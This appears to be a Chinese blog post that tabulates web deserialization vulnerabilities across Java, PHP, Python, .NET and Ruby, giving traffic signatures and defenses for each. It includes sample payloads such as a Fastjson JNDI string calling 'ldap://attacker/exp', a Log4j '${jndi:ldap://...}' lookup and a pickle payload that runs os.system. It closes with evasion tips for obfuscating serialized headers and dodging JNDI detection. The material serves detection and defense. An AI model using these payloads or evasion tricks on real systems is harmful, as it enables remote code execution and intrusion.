反序列化攻击简要汇总

反序列化攻击简要汇总

Web 反序列化漏洞汇总对比表

漏洞类型 技术原理 关键触发点 流量特征 防御关键
Java 原生反序列化 调用 ObjectInputStream.readObject() 时,恶意序列化数据触发 Gadget Chain(如 InvokerTransformer→Runtime.exec() readObject() 反序列化入口 HEX头: AC ED 00 05
Base64头: rO0AB
内容特征: java/ 包路径、危险方法名(getOutputProperties
启用 ObjectInputFilter 类白名单
Shiro-550/721 RememberMe Cookie AES解密解压缩ObjectInputStream.readObject()
• 550:硬编码密钥
• 721:Padding Oracle 爆破密钥
AbstractRememberMeManager#convertBytesToPrincipals() HTTP Cookie: rememberMe=Base64(AES密文)
解密后: rO0AB 开头 + CommonsCollections 链特征
更换强密钥 + 禁用压缩 + 过滤 PriorityQueue 等危险类
WebLogic T3 T3 协议传输 原生序列化对象,服务端反序列化触发漏洞(如 Coherence 组件的 LimitFilter#toString() 链) weblogic.rjvm.InboundMsgAbbrev#readObject() 协议头: t3 12.2.1\x0D\x0A
载荷: AC ED 00 05 + com/tangosol/util/filter/LimitFilter 等类名
关闭 T3 协议 + 升级 Coherence 补丁
WebLogic XMLDecoder wls-wsat 组件使用 XMLDecoder 解析 SOAP,XML 标签直接映射 Java 方法执行(如 <void method="start"> XMLDecoder.readObject() HTTP POST: SOAP 信封内嵌 <java>...<ProcessBuilder><command>calc.exe</command></ProcessBuilder> 删除 wls-wsat 应用 + 禁用 XMLDecoder
Fastjson ≤1.2.24 @type 指定任意类 → 自动调用 setter/getter → 触发链(如 JdbcRowSetImpl#setDataSourceName() 发起 JNDI 注入 DefaultJSONParser#parseObject() JSON: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/exp"} 关闭 autotype + 升级 ≥1.2.25
Jackson CVE-2017-7525 开启 enableDefaultTyping() 时,@class 实例化危险类(如 org.apache.xalan.templates.TemplateImpl 加载字节码) ObjectMapper.readValue() JSON: {"@class":"org.apache.xalan.templates.TemplateImpl", "_bytecodes":["base64恶意类"]} 禁用多态绑定 + 配置 PolymorphicTypeValidator
XStream ≤1.4.15 XML 标签名 → 反射实例化类 → 调用危险方法(如 EventHandler#invoke() 触发命令执行) XStream.fromXML() XML: <java.util.PriorityQueue><comparator><dynamic-proxy><interface>java.lang.Comparable</interface>... 注册 SecurityFramework 白名单
Log4j2 JNDI注入 非反序列化!漏洞原理:${jndi:ldap://attacker} 触发 JNDI 查找 → 返回 Reference → 加载远程 Factory 类执行代码 lookup() 方法动态加载类 日志内容: ${jndi:ldap://1.2.3.4/x}
后续流量:
• LDAP 请求 → 返回 Reference
• HTTP 下载 Exploit.class
升级 ≥2.17.0 + 移除 JndiLookup
PHP反序列化 unserialize() 触发魔术方法(如 __destruct())→ 执行链(如 MonologProcessor#__call() 调用 file_put_contents 写 Webshell) unserialize($_POST['data']) POST: data=O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":...} 禁用 unserialize() + 过滤 __destruct
Python pickle pickle.loads() 执行 __reduce__ 返回的 字节码(如利用 os.system() 执行命令) pickle.loads(request.data) 载荷: c__builtin__\neval\n(V__import__('os').system('whoami')\ntR. 替换为 json 序列化
.NET ViewState 未签名或弱密钥的 ViewStateLosFormatter 反序列化触发 ObjectStateFormatter(如 TextFormattingRunProperties 触发代码执行) Page.LoadPageStateFromPersistenceMedium() POST: __VIEWSTATE=Base64密文
特征: 00 00 01 头 + ObjectStateFormatter 标识
启用 ViewState MAC 签名验证
Ruby Marshal Marshal.load() 重建对象 → 触发 #initialize#marshal_load 方法中的危险操作(如 ActiveRecord 反序列化链) Marshal.load(params[:data]) 载荷: \x04\x08[...] 开头 + 包含类名(如 ActiveRecord::Base 避免处理用户输入的 Marshal 数据

核心攻击协议与特征速查

攻击类型 依赖协议 关键特征
JNDI 注入 LDAP/RMI/DNS/HTTP • 出向 LDAP/RMI 请求(端口 1389/1099)
• 入向 HTTP 下载 .class 文件
原生序列化 任意 TCP/HTTP AC ED 00 05 / rO0AB + Java 类名特征
T3 协议 T3 (TCP 7001) 固定头 t3 x.x.x\x0D\x0A + 后续含序列化数据(HEX值以AC ED 00 05开头)
XML 反序列化 HTTP/SOAP <java>, <void method="start">, ProcessBuilder 等标签
JSON 反序列化 HTTP/JSON @type (Fastjson), @class (Jackson) + 危险类名(如 TemplatesImpl

深度解析补充

  1. JNDI 在 Java 反序列化中的作用

    • 桥梁角色:将漏洞触发拆解为两阶段:序列化漏洞入口 → JNDI Lookup → 远程加载恶意类

    • 绕过优势

      • 避免在序列化数据中携带完整攻击代码
      • 动态更换攻击载荷(无需重发序列化数据)
    • 依赖协议

      graph LR A[受害服务器] -->|1. JNDI 请求| B(LDAP/RMI Server) B -->|2. 返回 Reference| A A -->|3. HTTP 请求| C(恶意 HTTP Server) C -->|4. 发送 .class| A
  2. 跨语言反序列化本质差异

    语言 核心机制 直接执行指令
    Java 利用库中 Gadget Chain 调用 RCE ❌(需复杂链)
    PHP 魔术方法(如 __destruct
    Python __reduce__ 返回系统命令
    .NET ObjectStateFormatter ❌(需链)
  3. 高级绕过技术

    • Java 序列化混淆:修改魔术头(如 ED AC 05 00)、添加无效字节
    • JNDI 规避:使用 DNS 协议探测、HTTPS 托管 Class、利用本地 ClassPath 中的链
    • PHP/Python 编码:Base64/Hex 编码载荷、嵌套多层序列化结构
posted @ 2025-12-02 09:23  shinianyunyan  阅读(18)  评论(0)    收藏  举报